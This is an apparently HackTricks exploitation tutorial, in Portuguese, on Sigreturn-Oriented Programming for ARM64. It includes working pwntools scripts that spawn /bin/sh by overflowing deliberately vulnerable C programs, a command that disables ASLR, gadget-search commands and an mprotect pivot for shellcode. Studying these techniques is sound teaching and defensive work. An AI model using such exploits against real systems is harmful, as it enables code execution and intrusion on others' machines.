> [!TIP]

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Exemplo Pwntools

Este exemplo cria o binário vulnerável e o explora. O binário lê na pilha e então chama sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

exemplo de bof

Código

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Compile-o com:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

O exploit abusa do bof para retornar à chamada para sigreturn e preparar a pilha para chamar execve com um ponteiro para /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

exemplo de bof sem sigreturn

Código

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

Na seção vdso é possível encontrar uma chamada para sigreturn no offset 0x7b0:

Portanto, se vazar, é possível usar este endereço para acessar um sigreturn se o binário não estiver carregando-o:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Para mais informações sobre vdso, consulte:

Ret2vDSO

E para contornar o endereço de /bin/sh, você pode criar várias variáveis de ambiente apontando para ele, para mais informações:

ASLR


Encontrando gadgets sigreturn automaticamente (2023-2025)

Em distribuições modernas, o trampolim sigreturn ainda é exportado pela página vDSO, mas o deslocamento exato pode variar entre versões do kernel e flags de compilação, como BTI (+branch-protection) ou PAC. Automatizar sua descoberta evita a codificação rígida de deslocamentos:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Ambas as ferramentas entendem codificações AArch64 e listarão sequências candidatas mov x8, 0x8b ; svc #0 que podem ser usadas como o gadget SROP.

Nota: Quando os binários são compilados com BTI, a primeira instrução de cada alvo de ramificação indireta válida é bti c. Trampolins sigreturn colocados pelo linker já incluem o pad de aterrissagem BTI correto, então o gadget permanece utilizável a partir de código não privilegiado.

Encadeando SROP com ROP (pivot via mprotect)

rt_sigreturn nos permite controlar todos os registradores de uso geral e pstate. Um padrão comum em x86 é: 1) usar SROP para chamar mprotect, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona no ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Após enviar o frame, você pode enviar um segundo estágio contendo código shell bruto em 0x400000+0x100. Porque AArch64 usa endereçamento PC-relative, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.

Validação do Kernel, PAC e Shadow-Stacks

O Linux 5.16 introduziu uma validação mais rigorosa dos frames de sinal do espaço do usuário (commit 36f5a6c73096). O kernel agora verifica:

  • uc_flags deve conter UC_FP_XSTATE quando extra_context está presente.
  • A palavra reservada em struct rt_sigframe deve ser zero.
  • Cada ponteiro no registro extra_context está alinhado e aponta dentro do espaço de endereços do usuário.

pwntools>=4.10 cria frames compatíveis automaticamente, mas se você os construir manualmente, certifique-se de inicializar como zero reserved e omitir o registro SVE, a menos que você realmente precise dele—caso contrário, rt_sigreturn entregará SIGSEGV em vez de retornar.

Começando com o Android 14 mainstream e Fedora 38, o userland é compilado com PAC (Pointer Authentication) e BTI habilitados por padrão (-mbranch-protection=standard). SROP em si não é afetado porque o kernel sobrescreve PC diretamente do frame criado, contornando o LR autenticado salvo na pilha; no entanto, qualquer cadeia ROP subsequente que realiza ramificações indiretas deve pular para instruções habilitadas para BTI ou endereços PACed. Tenha isso em mente ao escolher gadgets.

Shadow-Call-Stacks introduzidos no ARMv8.9 (e já habilitados no ChromeOS 1.27+) são uma mitigação em nível de compilador e não interferem com SROP porque nenhuma instrução de retorno é executada—o fluxo de controle é transferido pelo kernel.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks